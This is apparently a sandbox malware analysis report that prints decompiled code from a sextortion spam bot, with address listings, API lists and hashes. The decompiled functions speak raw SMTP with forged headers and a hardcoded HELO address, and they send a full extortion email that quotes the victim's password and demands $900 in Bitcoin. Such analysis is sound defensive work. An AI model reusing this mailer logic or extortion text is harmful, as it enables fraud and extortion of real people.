											__eax = E00321120(_v32,  &_v1172, _v1880); // executed
											__eflags = __eax;
											if(__eax != 0) {
												__ecx =  &_v1876;
												E00321320(__ecx, 3,  &_v1640) =  &_v1760;
												__eax = E00321320(__ecx, 5,  &_v1760);
												__ecx =  &_v1172;
												__eax = wsprintfA( &_v1172, "Received: (qmail %s invoked by uid %s); %s\r\n", __eax, __eax,  &_v1172);
												__esp = __esp + 0x14;
												_v1880 = __eax;
												__eax =  &_v1172;
												__ecx = _v32;
												__eax = E00321120(_v32,  &_v1172, _v1880); // executed
												__eflags = __eax;
												if(__eax != 0) {
													__eax =  &_v1172;
													__eax = wsprintfA( &_v1172, "From: John Blue %s\r\n",  &_v140);
													__esp = __esp + 0xc;
													_v1880 = __eax;
													__ecx = _v1880;
													__eax = _v32;
													__eax = E00321120(_v32,  &_v1172, _v1880); // executed
													__eflags = __eax;
													if(__eax != 0) {
														__ecx = _a4;
														__eax = wsprintfA( &_v1172, "To: %s\r\n", _a4);
														__esp = __esp + 0xc;
														_v1880 = __eax;
														__eax = _v1880;
														__ecx =  &_v1172;
														__eax = E00321120(_v32,  &_v1172, _v1880); // executed
														__eflags = __eax;
														if(__eax != 0) {
															__eax =  &_v1172;
															__eax = wsprintfA( &_v1172, "Subject: %s\r\n", "I RECORDED YOU!");
															__esp = __esp + 0xc;
															_v1880 = __eax;
															__ecx = _v1880;
															__eax = _v32;
															__eax = E00321120(_v32,  &_v1172, _v1880); // executed
															__eflags = __eax;
															if(__eax != 0) {
																__ecx =  &_v1748;
																__eax = wsprintfA( &_v1172, "Date: %s\r\n",  &_v1748);
																__esp = __esp + 0xc;
																_v1880 = __eax;
																__eax = _v1880;
																__ecx =  &_v1172;
																__eax = E00321120(_v32,  &_v1172, _v1880); // executed
																__eflags = __eax;
																if(__eax != 0) {
																	__eax =  &_v1340;
																	__ecx =  &_v1640;
																	E00321320(__ecx, 6, __ecx) = E00321320(__ecx, 6,  &_v1760);
																	__eax =  &_v1172;
																	__eax = wsprintfA( &_v1172, "Message-ID: <%s.%s@%s>\r\n",  &_v1172,  &_v1172,  &_v1340);
																	__esp = __esp + 0x14;
																	_v1880 = __eax;
																	__ecx = _v1880;
																	__eax = _v32;
																	__eax = E00321120(_v32,  &_v1172, _v1880); // executed
																	__eflags = __eax;
																	if(__eax != 0) {
																		__ecx = _v32;
																		__eax = E00321120(_v32, "Mime-Version: 1.0\r\n", 0xffffffff); // executed
																		__eflags = __eax;
																		if(__eax != 0) {
																			__eax = E00321120(_v32, "Content-type: text/plain;\r\n\r\n", 0xffffffff); // executed
																			__eflags = __eax;
																			if(__eax != 0) {
																				 &_v1604 = memset( &_v1604, 0, 0x104);
																				__ecx =  &_v1604;
																				strcpy( &_v1604, "Hi, today there are sadly some bad news for you.\r\n\r\n") = strcat( &_v1604, "Your device was infected with my private malware, your browser wasn\'t updated / patched, in such case it\'s enough to just visit some website where my iframe is placed to get automatically infected, if you want to find out more, Google: Drive-by exploit.\r\n\r\n");
																				 &_v1604 = strcat( &_v1604, "My malware gave me full access to all your accounts, full control over your device and it also was possible to spy on you over your cam.\r\n\r\n");
																				__ecx =  &_v1604;
																				strcat( &_v1604, "If you think this is some bad joke, no, I know your password: ") =  &_v1604;
																				__eax = strcat( &_v1604, _a8);
																				__ecx =  &_v1604;
																				 &_v1604 = strcat( &_v1604, "After that I removed my malware to not leave any traces and this email was sent from some hacked server.\r\n\r\n");
																				__ecx =  &_v1604;
																				 &_v1604 = strcat( &_v1604, "The only way to stop me, is to pay exactly 900$ in Bitcoin (BTC).\r\n\r\n");
																				__ecx =  &_v1604;
																				strcat( &_v1604, "It\'s a very good offer, compared to all that horrible shit that will happen if I publish everything.\r\n\r\n") = _v32;
																				__eax = E00321120(_v32,  &_v1604, 0xffffffff); // executed
																				__eflags = __eax;
																				if(__eax != 0) {
																					__ecx =  &_v1604;
																					memset( &_v1604, 0, 0x104) = strcpy( &_v1604, "You can easily buy Bitcoin (BTC) here: www.paxful.com , www.coingate.com , www.coinbase.com , or check for Bitcoin (BTC) ATM near you, or Google for other exchanger.\r\n\r\n");
																					 &_v1604 = strcat( &_v1604, "You can send the Bitcoin (BTC) directly to my wallet, or install the free software: Atomicwallet, or: Exodus wallet, then receive and send to mine.\r\n\r\n");
																					__ecx =  &_v1604;
																					 &_v1604 = strcat( &_v1604, "I give you 3 days time to pay.\r\n\r\n");
																					__ecx =  &_v1604;
																					 &_v1604 = strcat( &_v1604, "ClientMailID: ");
																					__ecx =  &_v1616;
																					E00321320( &_v1616, 7,  &_v1616) = strcat( &_v1604, __eax);
																					 &_v1604 = strcat( &_v1604, "\r\n.\r\n");
																					__ecx =  &_v1604;
																					__eax = E00321120(_v32,  &_v1604, 0xffffffff); // executed
																					__eflags = __eax;
																					if(__eax != 0) {
																						_v36 = 7;
																					} else {
																						_v36 = 0;
																					}
																				} else {
																					_v36 = 0;
																				}
																			} else {
																				_v36 = 0;
																			}
																		} else {
																			_v36 = 0;
																		}
																	} else {
																		_v36 = 0;
																	}
																} else {
																	_v36 = 0;
																}
															} else {
																_v36 = 0;
															}
														} else {
															_v36 = 0;
														}
													} else {
														_v36 = 0;
													}
												} else {
													_v36 = 0;
												}
											} else {
												_v36 = 0;
											}
											goto L54;
										case 6:
											_v32 = E00321120(_v32, "QUIT", 0xffffffff); // executed
											_v36 = 8;
											goto L54;
									}
								} else {
									break;
								}
							} else {
								break;
							}
						}
						_v12 = 0 | _v36 == 0x00000008;
						goto L56;
					}
				}
			}




































                                                                                                                                                                                                                                                                                                                                                      0x00321a79
                                                                                                                                                                                                                                                                                                                                                      0x00321a86
                                                                                                                                                                                                                                                                                                                                                      0x00321a8b
                                                                                                                                                                                                                                                                                                                                                      0x00321a8e
                                                                                                                                                                                                                                                                                                                                                      0x00321a95
                                                                                                                                                                                                                                                                                                                                                      0x0032231a
                                                                                                                                                                                                                                                                                                                                                      0x00322320
                                                                                                                                                                                                                                                                                                                                                      0x00322320
                                                                                                                                                                                                                                                                                                                                                      0x00321aa1
                                                                                                                                                                                                                                                                                                                                                      0x00321aac
                                                                                                                                                                                                                                                                                                                                                      0x00321ab1
                                                                                                                                                                                                                                                                                                                                                      0x00321ab6
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00321ac2
                                                                                                                                                                                                                                                                                                                                                      0x00321ac8
                                                                                                                                                                                                                                                                                                                                                      0x00321acf
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00321adf
                                                                                                                                                                                                                                                                                                                                                      0x00321ae9
                                                                                                                                                                                                                                                                                                                                                      0x00321af2
                                                                                                                                                                                                                                                                                                                                                      0x00322304
                                                                                                                                                                                                                                                                                                                                                      0x0032230a
                                                                                                                                                                                                                                                                                                                                                      0x00322314
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00321af8
                                                                                                                                                                                                                                                                                                                                                      0x00321af8
                                                                                                                                                                                                                                                                                                                                                      0x00321b13
                                                                                                                                                                                                                                                                                                                                                      0x00321b19
                                                                                                                                                                                                                                                                                                                                                      0x00321b20
                                                                                                                                                                                                                                                                                                                                                      0x00321b44
                                                                                                                                                                                                                                                                                                                                                      0x00321b49
                                                                                                                                                                                                                                                                                                                                                      0x00321b4c
                                                                                                                                                                                                                                                                                                                                                      0x00321b59
                                                                                                                                                                                                                                                                                                                                                      0x00321b66
                                                                                                                                                                                                                                                                                                                                                      0x00321b75
                                                                                                                                                                                                                                                                                                                                                      0x00321b7a
                                                                                                                                                                                                                                                                                                                                                      0x00321b7d
                                                                                                                                                                                                                                                                                                                                                      0x00321b7f
                                                                                                                                                                                                                                                                                                                                                      0x00321b89
                                                                                                                                                                                                                                                                                                                                                      0x00321b98
                                                                                                                                                                                                                                                                                                                                                      0x00321b9e
                                                                                                                                                                                                                                                                                                                                                      0x00321ba5
                                                                                                                                                                                                                                                                                                                                                      0x003222f3
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x003222f3
                                                                                                                                                                                                                                                                                                                                                      0x00321bb1
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00321bb8
                                                                                                                                                                                                                                                                                                                                                      0x00321bc4
                                                                                                                                                                                                                                                                                                                                                      0x00321bca
                                                                                                                                                                                                                                                                                                                                                      0x00321bcc
                                                                                                                                                                                                                                                                                                                                                      0x00321c01
                                                                                                                                                                                                                                                                                                                                                      0x00321c07
                                                                                                                                                                                                                                                                                                                                                      0x00321c0a
                                                                                                                                                                                                                                                                                                                                                      0x00321bce
                                                                                                                                                                                                                                                                                                                                                      0x00321bdf
                                                                                                                                                                                                                                                                                                                                                      0x00321be5
                                                                                                                                                                                                                                                                                                                                                      0x00321be8
                                                                                                                                                                                                                                                                                                                                                      0x00321be8
                                                                                                                                                                                                                                                                                                                                                      0x00321c22
                                                                                                                                                                                                                                                                                                                                                      0x00321c27
                                                                                                                                                                                                                                                                                                                                                      0x00321c2a
                                                                                                                                                                                                                                                                                                                                                      0x00321c2c
                                                                                                                                                                                                                                                                                                                                                      0x00321c3a
                                                                                                                                                                                                                                                                                                                                                      0x00321c2e
                                                                                                                                                                                                                                                                                                                                                      0x00321c2e
                                                                                                                                                                                                                                                                                                                                                      0x00321c2e
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00321c46
                                                                                                                                                                                                                                                                                                                                                      0x00321c4d
                                                                                                                                                                                                                                                                                                                                                      0x00321c5b
                                                                                                                                                                                                                                                                                                                                                      0x00321c62
                                                                                                                                                                                                                                                                                                                                                      0x00321c68
                                                                                                                                                                                                                                                                                                                                                      0x00321c77
                                                                                                                                                                                                                                                                                                                                                      0x00321c7e
                                                                                                                                                                                                                                                                                                                                                      0x00321c84
                                                                                                                                                                                                                                                                                                                                                      0x00321c87
                                                                                                                                                                                                                                                                                                                                                      0x00321c8d
                                                                                                                                                                                                                                                                                                                                                      0x00321c9b
                                                                                                                                                                                                                                                                                                                                                      0x00321c9f
                                                                                                                                                                                                                                                                                                                                                      0x00321ca7
                                                                                                                                                                                                                                                                                                                                                      0x00321ca9
                                                                                                                                                                                                                                                                                                                                                      0x00321cb7
                                                                                                                                                                                                                                                                                                                                                      0x00321cab
                                                                                                                                                                                                                                                                                                                                                      0x00321cab
                                                                                                                                                                                                                                                                                                                                                      0x00321cab
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00321cc3
                                                                                                                                                                                                                                                                                                                                                      0x00321cd3
                                                                                                                                                                                                                                                                                                                                                      0x00321cd9
                                                                                                                                                                                                                                                                                                                                                      0x00321cdc
                                                                                                                                                                                                                                                                                                                                                      0x00321ce2
                                                                                                                                                                                                                                                                                                                                                      0x00321ce9
                                                                                                                                                                                                                                                                                                                                                      0x00321cf4
                                                                                                                                                                                                                                                                                                                                                      0x00321cfc
                                                                                                                                                                                                                                                                                                                                                      0x00321cfe
                                                                                                                                                                                                                                                                                                                                                      0x00321d0c
                                                                                                                                                                                                                                                                                                                                                      0x00321d00
                                                                                                                                                                                                                                                                                                                                                      0x00321d00
                                                                                                                                                                                                                                                                                                                                                      0x00321d00
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00321d1f
                                                                                                                                                                                                                                                                                                                                                      0x00321d23
                                                                                                                                                                                                                                                                                                                                                      0x00321d2b
                                                                                                                                                                                                                                                                                                                                                      0x00321d2d
                                                                                                                                                                                                                                                                                                                                                      0x00321d3b
                                                                                                                                                                                                                                                                                                                                                      0x00321d2f
                                                                                                                                                                                                                                                                                                                                                      0x00321d2f
                                                                                                                                                                                                                                                                                                                                                      0x00321d2f
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00321d47
                                                                                                                                                                                                                                                                                                                                                      0x00321d65
                                                                                                                                                                                                                                                                                                                                                      0x00321d6b
                                                                                                                                                                                                                                                                                                                                                      0x00321d79
                                                                                                                                                                                                                                                                                                                                                      0x00321d86
                                                                                                                                                                                                                                                                                                                                                      0x00321d8e
                                                                                                                                                                                                                                                                                                                                                      0x00321d97
                                                                                                                                                                                                                                                                                                                                                      0x00321da6
                                                                                                                                                                                                                                                                                                                                                      0x00321dad
                                                                                                                                                                                                                                                                                                                                                      0x00321db2
                                                                                                                                                                                                                                                                                                                                                      0x00321db3
                                                                                                                                                                                                                                                                                                                                                      0x00321db8
                                                                                                                                                                                                                                                                                                                                                      0x00321db8
                                                                                                                                                                                                                                                                                                                                                      0x00321dbe
                                                                                                                                                                                                                                                                                                                                                      0x00321dc3
                                                                                                                                                                                                                                                                                                                                                      0x00321dc4
                                                                                                                                                                                                                                                                                                                                                      0x00321dc9
                                                                                                                                                                                                                                                                                                                                                      0x00321dc9
                                                                                                                                                                                                                                                                                                                                                      0x00321dcf
                                                                                                                                                                                                                                                                                                                                                      0x00321dd4
                                                                                                                                                                                                                                                                                                                                                      0x00321dd5
                                                                                                                                                                                                                                                                                                                                                      0x00321dda
                                                                                                                                                                                                                                                                                                                                                      0x00321dda
                                                                                                                                                                                                                                                                                                                                                      0x00321de0
                                                                                                                                                                                                                                                                                                                                                      0x00321de5
                                                                                                                                                                                                                                                                                                                                                      0x00321de6
                                                                                                                                                                                                                                                                                                                                                      0x00321deb
                                                                                                                                                                                                                                                                                                                                                      0x00321e08
                                                                                                                                                                                                                                                                                                                                                      0x00321e0f
                                                                                                                                                                                                                                                                                                                                                      0x00321e15
                                                                                                                                                                                                                                                                                                                                                      0x00321e18
                                                                                                                                                                                                                                                                                                                                                      0x00321e1e
                                                                                                                                                                                                                                                                                                                                                      0x00321e2c
                                                                                                                                                                                                                                                                                                                                                      0x00321e30
                                                                                                                                                                                                                                                                                                                                                      0x00321e38
                                                                                                                                                                                                                                                                                                                                                      0x00321e3a
                                                                                                                                                                                                                                                                                                                                                      0x00321e48
                                                                                                                                                                                                                                                                                                                                                      0x00321e61
                                                                                                                                                                                                                                                                                                                                                      0x00321e6a
                                                                                                                                                                                                                                                                                                                                                      0x00321e78
                                                                                                                                                                                                                                                                                                                                                      0x00321e7f
                                                                                                                                                                                                                                                                                                                                                      0x00321e85
                                                                                                                                                                                                                                                                                                                                                      0x00321e88
                                                                                                                                                                                                                                                                                                                                                      0x00321e95
                                                                                                                                                                                                                                                                                                                                                      0x00321e9c
                                                                                                                                                                                                                                                                                                                                                      0x00321ea0
                                                                                                                                                                                                                                                                                                                                                      0x00321ea8
                                                                                                                                                                                                                                                                                                                                                      0x00321eaa
                                                                                                                                                                                                                                                                                                                                                      0x00321ec4
                                                                                                                                                                                                                                                                                                                                                      0x00321ecb
                                                                                                                                                                                                                                                                                                                                                      0x00321ed1
                                                                                                                                                                                                                                                                                                                                                      0x00321ed4
                                                                                                                                                                                                                                                                                                                                                      0x00321eda
                                                                                                                                                                                                                                                                                                                                                      0x00321ee8
                                                                                                                                                                                                                                                                                                                                                      0x00321eec
                                                                                                                                                                                                                                                                                                                                                      0x00321ef4
                                                                                                                                                                                                                                                                                                                                                      0x00321ef6
                                                                                                                                                                                                                                                                                                                                                      0x00321f04
                                                                                                                                                                                                                                                                                                                                                      0x00321f14
                                                                                                                                                                                                                                                                                                                                                      0x00321f1a
                                                                                                                                                                                                                                                                                                                                                      0x00321f1d
                                                                                                                                                                                                                                                                                                                                                      0x00321f23
                                                                                                                                                                                                                                                                                                                                                      0x00321f2a
                                                                                                                                                                                                                                                                                                                                                      0x00321f35
                                                                                                                                                                                                                                                                                                                                                      0x00321f3d
                                                                                                                                                                                                                                                                                                                                                      0x00321f3f
                                                                                                                                                                                                                                                                                                                                                      0x00321f57
                                                                                                                                                                                                                                                                                                                                                      0x00321f5e
                                                                                                                                                                                                                                                                                                                                                      0x00321f64
                                                                                                                                                                                                                                                                                                                                                      0x00321f67
                                                                                                                                                                                                                                                                                                                                                      0x00321f6d
                                                                                                                                                                                                                                                                                                                                                      0x00321f7b
                                                                                                                                                                                                                                                                                                                                                      0x00321f7f
                                                                                                                                                                                                                                                                                                                                                      0x00321f87
                                                                                                                                                                                                                                                                                                                                                      0x00321f89
                                                                                                                                                                                                                                                                                                                                                      0x00321f97
                                                                                                                                                                                                                                                                                                                                                      0x00321faa
                                                                                                                                                                                                                                                                                                                                                      0x00321fb0
                                                                                                                                                                                                                                                                                                                                                      0x00321fb3
                                                                                                                                                                                                                                                                                                                                                      0x00321fb9
                                                                                                                                                                                                                                                                                                                                                      0x00321fc0
                                                                                                                                                                                                                                                                                                                                                      0x00321fcb
                                                                                                                                                                                                                                                                                                                                                      0x00321fd3
                                                                                                                                                                                                                                                                                                                                                      0x00321fd5
                                                                                                                                                                                                                                                                                                                                                      0x00321fe3
                                                                                                                                                                                                                                                                                                                                                      0x00321fea
                                                                                                                                                                                                                                                                                                                                                      0x00322005
                                                                                                                                                                                                                                                                                                                                                      0x00322013
                                                                                                                                                                                                                                                                                                                                                      0x0032201a
                                                                                                                                                                                                                                                                                                                                                      0x00322020
                                                                                                                                                                                                                                                                                                                                                      0x00322023
                                                                                                                                                                                                                                                                                                                                                      0x00322029
                                                                                                                                                                                                                                                                                                                                                      0x00322037
                                                                                                                                                                                                                                                                                                                                                      0x0032203b
                                                                                                                                                                                                                                                                                                                                                      0x00322043
                                                                                                                                                                                                                                                                                                                                                      0x00322045
                                                                                                                                                                                                                                                                                                                                                      0x0032205a
                                                                                                                                                                                                                                                                                                                                                      0x0032205e
                                                                                                                                                                                                                                                                                                                                                      0x00322066
                                                                                                                                                                                                                                                                                                                                                      0x00322068
                                                                                                                                                                                                                                                                                                                                                      0x00322081
                                                                                                                                                                                                                                                                                                                                                      0x00322089
                                                                                                                                                                                                                                                                                                                                                      0x0032208b
                                                                                                                                                                                                                                                                                                                                                      0x003220a7
                                                                                                                                                                                                                                                                                                                                                      0x003220b4
                                                                                                                                                                                                                                                                                                                                                      0x003220cf
                                                                                                                                                                                                                                                                                                                                                      0x003220e3
                                                                                                                                                                                                                                                                                                                                                      0x003220f0
                                                                                                                                                                                                                                                                                                                                                      0x00322103
                                                                                                                                                                                                                                                                                                                                                      0x0032210a
                                                                                                                                                                                                                                                                                                                                                      0x00322117
                                                                                                                                                                                                                                                                                                                                                      0x00322146
                                                                                                                                                                                                                                                                                                                                                      0x00322153
                                                                                                                                                                                                                                                                                                                                                      0x00322182
                                                                                                                                                                                                                                                                                                                                                      0x0032218f
                                                                                                                                                                                                                                                                                                                                                      0x003221a7
                                                                                                                                                                                                                                                                                                                                                      0x003221ab
                                                                                                                                                                                                                                                                                                                                                      0x003221b3
                                                                                                                                                                                                                                                                                                                                                      0x003221b5
                                                                                                                                                                                                                                                                                                                                                      0x003221ca
                                                                                                                                                                                                                                                                                                                                                      0x003221e5
                                                                                                                                                                                                                                                                                                                                                      0x003221f9
                                                                                                                                                                                                                                                                                                                                                      0x00322206
                                                                                                                                                                                                                                                                                                                                                      0x00322235
                                                                                                                                                                                                                                                                                                                                                      0x00322242
                                                                                                                                                                                                                                                                                                                                                      0x00322271
                                                                                                                                                                                                                                                                                                                                                      0x00322279
                                                                                                                                                                                                                                                                                                                                                      0x00322292
                                                                                                                                                                                                                                                                                                                                                      0x003222a6
                                                                                                                                                                                                                                                                                                                                                      0x003222b0
                                                                                                                                                                                                                                                                                                                                                      0x003222bb
                                                                                                                                                                                                                                                                                                                                                      0x003222c3
                                                                                                                                                                                                                                                                                                                                                      0x003222c5
                                                                                                                                                                                                                                                                                                                                                      0x003222d0
                                                                                                                                                                                                                                                                                                                                                      0x003222c7
                                                                                                                                                                                                                                                                                                                                                      0x003222c7
                                                                                                                                                                                                                                                                                                                                                      0x003222c7
                                                                                                                                                                                                                                                                                                                                                      0x003221b7
                                                                                                                                                                                                                                                                                                                                                      0x003221b7
                                                                                                                                                                                                                                                                                                                                                      0x003221b7
                                                                                                                                                                                                                                                                                                                                                      0x0032208d
                                                                                                                                                                                                                                                                                                                                                      0x0032208d
                                                                                                                                                                                                                                                                                                                                                      0x0032208d
                                                                                                                                                                                                                                                                                                                                                      0x0032206a
                                                                                                                                                                                                                                                                                                                                                      0x0032206a
                                                                                                                                                                                                                                                                                                                                                      0x0032206a
                                                                                                                                                                                                                                                                                                                                                      0x00322047
                                                                                                                                                                                                                                                                                                                                                      0x00322047
                                                                                                                                                                                                                                                                                                                                                      0x00322047
                                                                                                                                                                                                                                                                                                                                                      0x00321fd7
                                                                                                                                                                                                                                                                                                                                                      0x00321fd7
                                                                                                                                                                                                                                                                                                                                                      0x00321fd7
                                                                                                                                                                                                                                                                                                                                                      0x00321f8b
                                                                                                                                                                                                                                                                                                                                                      0x00321f8b
                                                                                                                                                                                                                                                                                                                                                      0x00321f8b
                                                                                                                                                                                                                                                                                                                                                      0x00321f41
                                                                                                                                                                                                                                                                                                                                                      0x00321f41
                                                                                                                                                                                                                                                                                                                                                      0x00321f41
                                                                                                                                                                                                                                                                                                                                                      0x00321ef8
                                                                                                                                                                                                                                                                                                                                                      0x00321ef8
                                                                                                                                                                                                                                                                                                                                                      0x00321ef8
                                                                                                                                                                                                                                                                                                                                                      0x00321eac
                                                                                                                                                                                                                                                                                                                                                      0x00321eac
                                                                                                                                                                                                                                                                                                                                                      0x00321eac
                                                                                                                                                                                                                                                                                                                                                      0x00321e3c
                                                                                                                                                                                                                                                                                                                                                      0x00321e3c
                                                                                                                                                                                                                                                                                                                                                      0x00321e3c
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x003222e4
                                                                                                                                                                                                                                                                                                                                                      0x003222ec
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00321b81
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00321b81
                                                                                                                                                                                                                                                                                                                                                      0x00321b5b
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00321b5b
                                                                                                                                                                                                                                                                                                                                                      0x00321b59
                                                                                                                                                                                                                                                                                                                                                      0x00322301
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00322301
                                                                                                                                                                                                                                                                                                                                                      0x00321af2

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00322340: strchr.MSVCRT ref: 0032234B
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 003210A0: DnsQuery_A.DNSAPI(00000000,0000000F,00000000,00000000,00000000,00000000), ref: 003210C4
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 003210A0: htons.WS2_32(00000019), ref: 003210F5
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 003210A0: DnsFree.DNSAPI(00000000,00000001), ref: 0032110F
                                                                                                                                                                                                                                                                                                                                                      • socket.WS2_32(00000002,00000001,00000006), ref: 00321AC2
                                                                                                                                                                                                                                                                                                                                                      • connect.WS2_32(000000FF,?,00000010), ref: 00321AE9
                                                                                                                                                                                                                                                                                                                                                      • setsockopt.WS2_32(000000FF,00000006,00000001,00000001,00000004), ref: 00321B13
                                                                                                                                                                                                                                                                                                                                                      • shutdown.WS2_32(000000FF,00000002), ref: 0032230A
                                                                                                                                                                                                                                                                                                                                                      • closesocket.WS2_32(000000FF), ref: 00322314
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000005.00000002.632888682.0000000000321000.00000020.00000001.01000000.00000008.sdmp, Offset: 00320000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000005.00000002.632860931.0000000000320000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000005.00000002.632915440.0000000000323000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000005.00000002.632945147.0000000000325000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000005.00000002.632962535.0000000000326000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_320000_311029678.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: FreeQuery_closesocketconnecthtonssetsockoptshutdownsocketstrchr
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 3655475579-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 48d47e1cfdd07a95ace58df53f8f56a18735089ca0cb8dd9a568bb934141dce3
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 2e918f6ad5945894cb132e2ddd8b790bdeabff6df733d1a46bc73564fdd8fc57
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 48d47e1cfdd07a95ace58df53f8f56a18735089ca0cb8dd9a568bb934141dce3
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: BD41A074D00228EFDF25DFA4EC49BEEB7B8BB04305F104298E61976280D7796A85CF51
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00321CC3 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 53COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                                                                      control_flow_graph 305 321cc3-321cfe wsprintfA call 321120 308 321d00-321d07 305->308 309 321d0c-321d13 305->309 310 3222f3 308->310 309->310 312 321b2a-321b2e 310->312 313 3222f8-322314 shutdown closesocket 310->313 312->313 315 321b34-321b44 call 321160 312->315 316 32231a-322320 313->316 318 321b49-321b59 315->318 319 321b60-321b7f call 3211c0 318->319 320 321b5b 318->320 323 321b81 319->323 324 321b86-321ba5 319->324 320->313 323->313 324->310 325 321bab 324->325 325->310
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 92%
                                                                                                                                                                                                                                                                                                                                                      			E00321CC3(void* __eflags) {
				void* _t172;
				intOrPtr _t176;
				char* _t177;
				void* _t202;
				void* _t204;
				void* _t206;
				void* _t208;

				L0:
				while(1) {
					L0:
					 *((intOrPtr*)(_t202 - 0x4d0)) = wsprintfA(_t202 - 0x490, "RCPT TO: <%s>\r\n",  *((intOrPtr*)(_t202 + 8)));
					_t172 = E00321120( *((intOrPtr*)(_t202 - 0x1c)), _t202 - 0x490,  *((intOrPtr*)(_t202 - 0x4d0))); // executed
					_t206 = _t204 + 0x18;
					if(_t172 != 0) {
						 *(_t202 - 0x20) = 5;
					} else {
						 *(__ebp - 0x20) = 0;
					}
					L48:
					while( *(_t202 - 0x20) != 0 &&  *(_t202 - 0x20) != 8) {
						_t176 = E00321160( *((intOrPtr*)(_t202 - 0x1c)), _t202 - 0x490, 0x400); // executed
						_t208 = _t206 + 0xc;
						 *((intOrPtr*)(_t202 - 0x90)) = _t176;
						if( *((intOrPtr*)(_t202 - 0x90)) != 0) {
							L5:
							 *((char*)(_t202 +  *((intOrPtr*)(_t202 - 0x90)) - 0x490)) = 0;
							_t177 = E003211C0(_t202 - 0x490);
							_t206 = _t208 + 4;
							__eflags = _t177;
							if(_t177 != 0) {
								L7:
								 *(_t202 - 0x758) =  *(_t202 - 0x20);
								 *(_t202 - 0x758) =  *(_t202 - 0x758) - 1;
								__eflags =  *(_t202 - 0x758) - 6;
								if(__eflags > 0) {
									continue;
								}
								L8:
								switch( *((intOrPtr*)( *(_t202 - 0x758) * 4 +  &M00322324))) {
									case 0:
										L9:
										_push("ESMTP");
										_t180 = StrStrA(_t202 - 0x490);
										__eflags = _t180;
										if(_t180 == 0) {
											_t181 = wsprintfA(_t202 - 0x490, "HELO %s\r\n", "[102.129.143.78]");
											_t209 = _t206 + 0xc;
											 *(_t202 - 0x494) = _t181;
										} else {
											_t184 = wsprintfA(_t202 - 0x490, "EHLO %s\r\n", "[102.129.143.78]");
											_t209 = _t206 + 0xc;
											 *(_t202 - 0x494) = _t184;
										}
										_t183 = E00321120( *((intOrPtr*)(_t202 - 0x1c)), _t202 - 0x490,  *(_t202 - 0x494)); // executed
										_t206 = _t209 + 0xc;
										__eflags = _t183;
										if(_t183 != 0) {
											 *(_t202 - 0x20) = 3;
										} else {
											 *(_t202 - 0x20) = 0;
										}
										goto L48;
									case 1:
										goto L48;
									case 2:
										L16:
										__eax = __ebp - 0x4c8;
										__eax = E003218D0(__ecx, __eflags, __ebp - 0x4c8); // executed
										__ecx = __ebp - 0x88;
										__eax = wsprintfA(__ebp - 0x88, "<JohnBlue@%s>", __eax);
										__esp = __esp + 0xc;
